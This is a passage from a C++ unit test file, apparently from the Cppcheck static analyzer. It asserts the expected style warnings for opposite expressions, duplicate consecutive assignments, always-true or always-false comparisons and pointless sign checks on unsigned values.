ASSERT_EQUALS(\"[test.cpp:1:27]: (style) Opposite expression on both sides of '=='. [oppositeExpression]\\n\", errout_str());\n\n check(\"void f(bool a) { if( !(a) != a ) {}}\");\n ASSERT_EQUALS(\"[test.cpp:1:27]: (style) Opposite expression on both sides of '!='. [oppositeExpression]\\n\", errout_str());\n\n check(\"void f(bool a) { if( !(!a) == !(a) ) {}}\");\n ASSERT_EQUALS(\"[test.cpp:1:28]: (style) Opposite expression on both sides of '=='. [oppositeExpression]\\n\", errout_str());\n\n check(\"void f(bool a) { if( !(!a) != !(a) ) {}}\");\n ASSERT_EQUALS(\"[test.cpp:1:28]: (style) Opposite expression on both sides of '!='. [oppositeExpression]\\n\", errout_str());\n\n check(\"void f1(bool a) {\\n\"\n \" const bool b = a;\\n\"\n \" if( a == !(b) ) {}\\n\"\n \" if( b == !(a) ) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:20] -> [test.cpp:3:11]: (style) Opposite expression on both sides of '=='. [oppositeExpression]\\n\"\n \"[test.cpp:2:20] -> [test.cpp:4:11]: (style) Opposite expression on both sides of '=='. [oppositeExpression]\\n\", errout_str());\n\n check(\"void f2(const bool *a) {\\n\"\n \" const bool b = *a;\\n\"\n \" if( *a == !(b) ) {}\\n\"\n \" if( b == !(*a) ) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:20] -> [test.cpp:3:12]: (style) Opposite expression on both sides of '=='. [oppositeExpression]\\n\"\n \"[test.cpp:2:20] -> [test.cpp:4:11]: (style) Opposite expression on both sides of '=='. [oppositeExpression]\\n\", errout_str());\n\n check(\"void f(bool a) { a = !a; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int a) { if( a < -a ) {}}\");\n ASSERT_EQUALS(\"[test.cpp:1:23]: (style) Opposite expression on both sides of '<'. [oppositeExpression]\\n\", errout_str());\n\n check(\"void f(int a) { a -= -a; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int a) { a = a / (-a); }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f(int i){ return !((i - 1) & i); }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f(unsigned i){ return (x > 0) && (x & (x-1)) == 0; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void A::f(bool a, bool c)\\n\"\n \"{\\n\"\n \" const bool b = a;\\n\"\n \" if(c) { a = false; }\\n\"\n \" if(b && !a) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(bool c) {\\n\"\n \" const bool b = a;\\n\"\n \" if(c) { a = false; }\\n\"\n \" if(b && !a) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" bool x = a;\\n\"\n \" dostuff();\\n\"\n \" if (x && a) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" const bool b = g();\\n\"\n \" if (!b && g()) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const bool *a) {\\n\"\n \" const bool b = a[42];\\n\"\n \" if( b == !(a[42]) ) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:21] -> [test.cpp:3:11]: (style) Opposite expression on both sides of '=='. [oppositeExpression]\\n\", errout_str());\n\n check(\"void f(const bool *a) {\\n\"\n \" const bool b = a[42];\\n\"\n \" if( a[42] == !(b) ) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:21] -> [test.cpp:3:15]: (style) Opposite expression on both sides of '=='. [oppositeExpression]\\n\", errout_str());\n\n check(\"void f(const bool *a) {\\n\"\n \" const bool b = *a;\\n\"\n \" if( b == !(*a) ) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:20] -> [test.cpp:3:11]: (style) Opposite expression on both sides of '=='. [oppositeExpression]\\n\", errout_str());\n\n check(\"void f(const bool *a) {\\n\"\n \" const bool b = *a;\\n\"\n \" if( *a == !(b) ) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:20] -> [test.cpp:3:12]: (style) Opposite expression on both sides of '=='. [oppositeExpression]\\n\", errout_str());\n\n check(\"void f(uint16_t u) {\\n\" // #9342\n \" if (u != (u & -u))\\n\"\n \" return false;\\n\"\n \" if (u != (-u & u))\\n\"\n \" return false;\\n\"\n \" return true;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateVarExpression() {\n check(\"int f() __attribute__((pure));\\n\"\n \"int g() __attribute__((pure));\\n\"\n \"void test() {\\n\"\n \" int i = f();\\n\"\n \" int j = f();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:9] -> [test.cpp:4:9]: (style) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\", errout_str());\n\n check(\"struct Foo { int f() const; int g() const; };\\n\"\n \"void test() {\\n\"\n \" Foo f = Foo{};\\n\"\n \" int i = f.f();\\n\"\n \" int j = f.f();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:9] -> [test.cpp:4:9]: (style) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\", errout_str());\n\n check(\"struct Foo { int f() const; int g() const; };\\n\"\n \"void test() {\\n\"\n \" Foo f = Foo{};\\n\"\n \" Foo f2 = Foo{};\\n\"\n \" int i = f.f();\\n\"\n \" int j = f.f();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:9] -> [test.cpp:5:9]: (style) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\", errout_str());\n\n check(\"int f() __attribute__((pure));\\n\"\n \"int g() __attribute__((pure));\\n\"\n \"void test() {\\n\"\n \" int i = 1 + f();\\n\"\n \" int j = 1 + f();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:9] -> [test.cpp:4:9]: (style) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\", errout_str());\n\n check(\"int f() __attribute__((pure));\\n\"\n \"int g() __attribute__((pure));\\n\"\n \"void test() {\\n\"\n \" int i = f() + 1;\\n\"\n \" int j = 1 + f();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f() __attribute__((pure));\\n\"\n \"int g() __attribute__((pure));\\n\"\n \"void test() {\\n\"\n \" int x = f();\\n\"\n \" int i = x + 1;\\n\"\n \" int j = f() + 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f() __attribute__((pure));\\n\"\n \"int g() __attribute__((pure));\\n\"\n \"void test() {\\n\"\n \" int i = f() + f();\\n\"\n \" int j = f() + f();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:9] -> [test.cpp:4:9]: (style) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\", errout_str());\n\n check(\"int f(int) __attribute__((pure));\\n\"\n \"int g(int) __attribute__((pure));\\n\"\n \"void test() {\\n\"\n \" int i = f(0);\\n\"\n \" int j = f(0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:9] -> [test.cpp:4:9]: (style) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\", errout_str());\n\n check(\"int f(int) __attribute__((pure));\\n\"\n \"int g(int) __attribute__((pure));\\n\"\n \"void test() {\\n\"\n \" const int x = 0;\\n\"\n \" int i = f(0);\\n\"\n \" int j = f(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void test(const int * p, const int * q) {\\n\"\n \" int i = *p;\\n\"\n \" int j = *p;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9] -> [test.cpp:2:9]: (style) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\", errout_str());\n\n check(\"struct A { int x; int y; };\"\n \"void test(A a) {\\n\"\n \" int i = a.x;\\n\"\n \" int j = a.x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9] -> [test.cpp:2:9]: (style) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\", errout_str());\n\n check(\"void test() {\\n\"\n \" int i = 0;\\n\"\n \" int j = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void test() {\\n\"\n \" int i = -1;\\n\"\n \" int j = -1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int);\\n\"\n \"void test() {\\n\"\n \" int i = f(0);\\n\"\n \" int j = f(1);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f();\\n\"\n \"int g();\\n\"\n \"void test() {\\n\"\n \" int i = f() || f();\\n\"\n \" int j = f() && f();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct Foo {};\\n\"\n \"void test() {\\n\"\n \" Foo i = Foo();\\n\"\n \" Foo j = Foo();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct Foo {};\\n\"\n \"void test() {\\n\"\n \" Foo i = Foo{};\\n\"\n \" Foo j = Foo{};\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct Foo { int f() const; float g() const; };\\n\"\n \"void test() {\\n\"\n \" Foo f = Foo{};\\n\"\n \" int i = f.f();\\n\"\n \" int j = f.f();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:9] -> [test.cpp:4:9]: (style, inconclusive) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\", errout_str());\n\n check(\"struct Foo { int f(); int g(); };\\n\"\n \"void test() {\\n\"\n \" Foo f = Foo{};\\n\"\n \" int i = f.f();\\n\"\n \" int j = f.f();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void test() {\\n\"\n \" int i = f();\\n\"\n \" int j = f();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void test(int x) {\\n\"\n \" int i = ++x;\\n\"\n \" int j = ++x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void test(int x) {\\n\"\n \" int i = x++;\\n\"\n \" int j = x++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void test(int x) {\\n\"\n \" int i = --x;\\n\"\n \" int j = --x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void test(int x) {\\n\"\n \" int i = x--;\\n\"\n \" int j = x--;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void test(int x) {\\n\"\n \" int i = x + 1;\\n\"\n \" int j = 1 + x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateVarExpressionUnique() {\n check(\"struct SW { int first; };\\n\"\n \"void foo(SW* x) {\\n\"\n \" int start = x->first;\\n\"\n \" int end = x->first;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9] -> [test.cpp:3:9]: (style, inconclusive) Same expression used in consecutive assignments of 'start' and 'end'. [duplicateAssignExpression]\\n\"\n \"[test.cpp:2:14]: (style) Parameter 'x' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"struct SW { int first; };\\n\"\n \"void foo(SW* x, int i, int j) {\\n\"\n \" int start = x->first;\\n\"\n \" int end = x->first;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9] -> [test.cpp:3:9]: (style, inconclusive) Same expression used in consecutive assignments of 'start' and 'end'. [duplicateAssignExpression]\\n\"\n \"[test.cpp:2:14]: (style) Parameter 'x' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"struct Foo { int f() const; };\\n\"\n \"void test() {\\n\"\n \" Foo f = Foo{};\\n\"\n \" int i = f.f();\\n\"\n \" int j = f.f();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:9] -> [test.cpp:4:9]: (style, inconclusive) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\", errout_str());\n\n check(\"void test(const int * p) {\\n\"\n \" int i = *p;\\n\"\n \" int j = *p;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9] -> [test.cpp:2:9]: (style, inconclusive) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\", errout_str());\n\n check(\"struct Foo { int f() const; int g(int) const; };\\n\"\n \"void test() {\\n\"\n \" Foo f = Foo{};\\n\"\n \" int i = f.f();\\n\"\n \" int j = f.f();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:9] -> [test.cpp:4:9]: (style, inconclusive) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\", errout_str());\n\n check(\"struct Foo { int f() const; };\\n\"\n \"void test() {\\n\"\n \" Foo f = Foo{};\\n\"\n \" int i = f.f();\\n\"\n \" int j = f.f();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:9] -> [test.cpp:4:9]: (style, inconclusive) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\", errout_str());\n }\n\n void duplicateVarExpressionAssign() {\n check(\"struct A { int x; int y; };\"\n \"void use(int);\\n\"\n \"void test(A a) {\\n\"\n \" int i = a.x;\\n\"\n \" int j = a.x;\\n\"\n \" use(i);\\n\"\n \" i = j;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9] -> [test.cpp:3:9]: (style, inconclusive) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\", errout_str());\n\n check(\"struct A { int x; int y; };\"\n \"void use(int);\\n\"\n \"void test(A a) {\\n\"\n \" int i = a.x;\\n\"\n \" int j = a.x;\\n\"\n \" use(j);\\n\"\n \" j = i;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9] -> [test.cpp:3:9]: (style, inconclusive) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\", errout_str());\n\n check(\"struct A { int x; int y; };\"\n \"void use(int);\\n\"\n \"void test(A a) {\\n\"\n \" int i = a.x;\\n\"\n \" int j = a.x;\\n\"\n \" use(j);\\n\"\n \" if (i == j) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:4:9] -> [test.cpp:3:9]: (style, inconclusive) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\"\n \"[test.cpp:3:14] -> [test.cpp:4:14] -> [test.cpp:6:11]: (style) The comparison 'i == j' is always true because 'i' and 'j' represent the same value. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"struct A { int x; int y; };\"\n \"void use(int);\\n\"\n \"void test(A a) {\\n\"\n \" int i = a.x;\\n\"\n \" int j = a.x;\\n\"\n \" use(j);\\n\"\n \" if (i == a.x) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:4:9] -> [test.cpp:3:9]: (style, inconclusive) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\"\n \"[test.cpp:3:14] -> [test.cpp:6:11]: (style) The comparison 'i == a.x' is always true because 'i' and 'a.x' represent the same value. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"struct A { int x; int y; };\"\n \"void use(int);\\n\"\n \"void test(A a) {\\n\"\n \" int i = a.x;\\n\"\n \" int j = a.x;\\n\"\n \" use(i);\\n\"\n \" if (j == a.x) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:4:9] -> [test.cpp:3:9]: (style, inconclusive) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\"\n \"[test.cpp:4:14] -> [test.cpp:6:11]: (style) The comparison 'j == a.x' is always true because 'j' and 'a.x' represent the same value. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n // Issue #8612\n check(\"struct P\\n\"\n \"{\\n\"\n \" void func();\\n\"\n \" bool operator==(const P&) const;\\n\"\n \"};\\n\"\n \"struct X\\n\"\n \"{\\n\"\n \" P first;\\n\"\n \" P second;\\n\"\n \"};\\n\"\n \"bool bar();\\n\"\n \"void baz(const P&);\\n\"\n \"void foo(const X& x)\\n\"\n \"{\\n\"\n \" P current = x.first;\\n\"\n \" P previous = x.first;\\n\"\n \" while (true)\\n\"\n \" {\\n\"\n \" baz(current);\\n\"\n \" if (bar() && previous == current)\\n\"\n \" {\\n\"\n \" current.func();\\n\"\n \" }\\n\"\n \" previous = current;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:16:7] -> [test.cpp:15:7]: (style, inconclusive) Same expression used in consecutive assignments of 'current' and 'previous'. [duplicateAssignExpression]\\n\", errout_str());\n }\n\n void duplicateVarExpressionCrash() {\n // Issue #8624\n check(\"struct X {\\n\"\n \" X();\\n\"\n \" int f() const;\\n\"\n \"};\\n\"\n \"void run() {\\n\"\n \" X x;\\n\"\n \" int a = x.f();\\n\"\n \" int b = x.f();\\n\"\n \" (void)a;\\n\"\n \" (void)b;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:8:13] -> [test.cpp:7:13]: (style, inconclusive) Same expression used in consecutive assignments of 'a' and 'b'. [duplicateAssignExpression]\\n\", errout_str());\n\n // Issue #8712\n check(\"void f() {\\n\"\n \" unsigned char d;\\n\"\n \" d = d % 5;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"template \\n\"\n \"T f() {\\n\"\n \" T x = T();\\n\"\n \"}\\n\"\n \"int &a = f();\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Issue #8713\n check(\"class A {\\n\"\n \" int64_t B = 32768;\\n\"\n \" P m = MakeP(B);\\n\"\n \"};\\n\"\n \"void f() {\\n\"\n \" uint32_t a = 42;\\n\"\n \" uint32_t b = uint32_t(A ::B / 1024);\\n\"\n \" int32_t c = int32_t(a / b);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Issue #8709\n check(\"a b;\\n\"\n \"void c() {\\n\"\n \" switch (d) { case b:; }\\n\"\n \" double e(b);\\n\"\n \" if(e <= 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10718\n // Should probably not be inconclusive\n check(\"struct a {\\n\"\n \" int b() const;\\n\"\n \" auto c() -> decltype(0) {\\n\"\n \" a d;\\n\"\n \" int e = d.b(), f = d.b();\\n\"\n \" return e + f;\\n\"\n \" }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:20] -> [test.cpp:5:9]: (style, inconclusive) Same expression used in consecutive assignments of 'e' and 'f'. [duplicateAssignExpression]\\n\", errout_str());\n }\n\n void multiConditionSameExpression() {\n check(\"void f() {\\n\"\n \" int val = 0;\\n\"\n \" if (val < 0) continue;\\n\"\n \" if ((val > 0)) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:13] -> [test.cpp:3:11]: (style) The comparison 'val < 0' is always false. [knownConditionTrueFalse]\\n\"\n \"[test.cpp:2:13] -> [test.cpp:4:12]: (style) The comparison 'val > 0' is always false. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int val = 0;\\n\"\n \" int *p = &val;n\"\n \" val = 1;\\n\"\n \" if (*p < 0) continue;\\n\"\n \" if ((*p > 0)) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:3:8]: (style) Variable 'p' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" int val = 0;\\n\"\n \" int *p = &val;\\n\"\n \" if (*p < 0) continue;\\n\"\n \" if ((*p > 0)) {}\\n\"\n \"}\\n\");\n TODO_ASSERT_EQUALS(\"[test.cpp:2] -> [test.cpp:3]: (style) The comparison '*p < 0' is always false.\\n\"\n \"[test.cpp:2] -> [test.cpp:4]: (style) The comparison '*p > 0' is always false.\\n\",\n \"[test.cpp:3:8]: (style) Variable 'p' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" int val = 0;\\n\"\n \" if (val < 0) {\\n\"\n \" if ((val > 0)) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:13] -> [test.cpp:3:11]: (style) The comparison 'val < 0' is always false. [knownConditionTrueFalse]\\n\"\n \"[test.cpp:2:13] -> [test.cpp:4:14]: (style) The comparison 'val > 0' is always false. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int val = 0;\\n\"\n \" if (val < 0) {\\n\"\n \" if ((val < 0)) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:13] -> [test.cpp:3:11]: (style) The comparison 'val < 0' is always false. [knownConditionTrueFalse]\\n\"\n \"[test.cpp:2:13] -> [test.cpp:4:14]: (style) The comparison 'val < 0' is always false. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int activate = 0;\\n\"\n \" int foo = 0;\\n\"\n \" if (activate) {}\\n\"\n \" else if (foo) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void checkSignOfUnsignedVariable() {\n check(\"void foo() {\\n\"\n \" for(unsigned char i = 10; i >= 0; i--) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:31]: (style) Unsigned expression 'i' can't be negative so it is unnecessary to test it. [unsignedPositive]\\n\", errout_str());\n\n check(\"void foo(bool b) {\\n\"\n \" for(unsigned int i = 10; b || i >= 0; i--) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:35]: (style) Unsigned expression 'i' can't be negative so it is unnecessary to test it. [unsignedPositive]\\n\", errout_str());\n\n {\n const char code[] = \"void foo(unsigned int x) {\\n\"\n \" if (x < 0) {}\\n\"\n \"}\";\n check(code, true, false, true, false);\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) Checking if unsigned expression 'x' is less than zero. [unsignedLessThanZero]\\n\", errout_str());\n check(code, true, false, true, true);\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) Checking if unsigned expression 'x' is less than zero. [unsignedLessThanZero]\\n\", errout_str());\n }\n\n check(\"void foo(unsigned int x) {\\n\"\n \" if (x < 0u) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) Checking if unsigned expression 'x' is less than zero. [unsignedLessThanZero]\\n\", errout_str());\n\n check(\"void foo(int x) {\\n\"\n \" if (x < 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n {\n const char code[] = \"void foo(unsigned x) {\\n\"\n \" int y = 0;\\n\"\n \" if (x < y) {}\\n\"\n \"}\";\n check(code, true, false, true, false);\n ASSERT_EQUALS(\"[test.cpp:3:9]: (style) Checking if unsigned expression 'x' is less than zero. [unsignedLessThanZero]\\n\", errout_str());\n check(code, true, false, true, true);\n ASSERT_EQUALS(\"[test.cpp:2:11] -> [test.cpp:3:9]: (style) Checking if unsigned expression 'x' is less than zero. [unsignedLessThanZero]\\n\", errout_str());\n }\n check(\"void foo(unsigned x) {\\n\"\n \" int y = 0;\\n\"\n \" if (b)\\n\"\n \" y = 1;\\n\"\n \" if (x < y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(unsigned int x) {\\n\"\n \" if (0 > x) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) Checking if unsigned expression 'x' is less than zero. [unsignedLessThanZero]\\n\", errout_str());\n\n check(\"void foo(unsigned int x) {\\n\"\n \" if (0UL > x) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Checking if unsigned expression 'x' is less than zero. [unsignedLessThanZero]\\n\", errout_str());\n\n check(\"void foo(int x) {\\n\"\n \" if (0 > x) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(unsigned int x) {\\n\"\n \" if (x >= 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) Unsigned expression 'x' can't be negative so it is unnecessary to test it. [unsignedPositive]\\n\", errout_str());\n\n check(\"void foo(unsigned int x, unsigned y) {\\n\"\n \" if (x - y >= 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:13]: (style) Unsigned expression 'x-y' can't be negative so it is unnecessary to test it. [unsignedPositive]\\n\", errout_str());\n\n check(\"void foo(unsigned int x) {\\n\"\n \" if (x >= 0ull) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) Unsigned expression 'x' can't be negative so it is unnecessary to test it. [unsignedPositive]\\n\", errout_str());\n\n check(\"void foo(int x) {\\n\"\n \" if (x >= 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(unsigned int x) {\\n\"\n \" if (0 <= x) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) Unsigned expression 'x' can't be negative so it is unnecessary to test it. [unsignedPositive]\\n\", errout_str());\n\n check(\"void foo(unsigned int x) {\\n\"\n \" if (0ll <= x) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Unsigned expression 'x' can't be negative so it is unnecessary to test it. [unsignedPositive]\\n\", errout_str());\n\n check(\"void foo(int x) {\\n\"\n \" if (0 <= x) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(unsigned int x, bool y) {\\n\"\n \" if (x < 0 && y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) Checking if unsigned expression 'x' is less than zero. [unsignedLessThanZero]\\n\", errout_str());\n\n check(\"void foo(int x, bool y) {\\n\"\n \" if (x < 0 && y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(unsigned int x, bool y) {\\n\"\n \" if (0 > x && y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) Checking if unsigned expression 'x' is less than zero. [unsignedLessThanZero]\\n\", errout_str());\n\n check(\"void foo(int x, bool y) {\\n\"\n \" if (0 > x && y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(unsigned int x, bool y) {\\n\"\n \" if (x >= 0 && y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) Unsigned expression 'x' can't be negative so it is unnecessary to test it. [unsignedPositive]\\n\", errout_str());\n\n check(\"void foo(int x, bool y) {\\n\"\n \" if (x >= 0 && y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n\n check(\"void foo(unsigned int x, bool y) {\\n\"\n \" if (y && x < 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:14]: (style) Checking if unsigned expression 'x' is less than zero. [unsignedLessThanZero]\\n\", errout_str());\n\n check(\"void foo(int x, bool y) {\\n\"\n \" if (y && x < 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(unsigned int x, bool y) {\\n\"\n \" if (y && 0 > x) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:14]: (style) Checking if unsigned expression 'x' is less than zero. [unsignedLessThanZero]\\n\", errout_str());\n\n check(\"void foo(int x, bool y) {\\n\"\n \" if (y && 0 > x) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(unsigned int x, bool y) {\\n\"\n \" if (y && x >= 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:14]: (style) Unsigned expression 'x' can't be negative so it is unnecessary to test it. [unsignedPositive]\\n\", errout_str());\n\n check(\"void foo(int x, bool y) {\\n\"\n \" if (y && x >= 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n\n check(\"void foo(unsigned int x, bool y) {\\n\"\n \" if (x < 0 || y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) Checking if unsigned expression 'x' is less than zero. [unsignedLessThanZero]\\n\", errout_str());\n\n check(\"void foo(int x, bool y) {\\n\"\n \" if (x < 0 || y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(unsigned int x, bool y) {\\n\"\n \" if (0 > x || y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) Checking if unsigned expression 'x' is less than zero. [unsignedLessThanZero]\\n\", errout_str());\n\n check(\"void foo(int x, bool y) {\\n\"\n \" if (0 > x || y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(unsigned int x, bool y) {\\n\"\n \" if (x >= 0 || y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) Unsigned expression 'x' can't be negative so it is unnecessary to test it. [unsignedPositive]\\n\", errout_str());\n\n check(\"void foo(int x, bool y) {\\n\"\n \" if (x >= 0 || y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #3233 - FP when template is used (template parameter is numeric constant)\n {\n const char code[] = \"template void foo(unsigned int x) 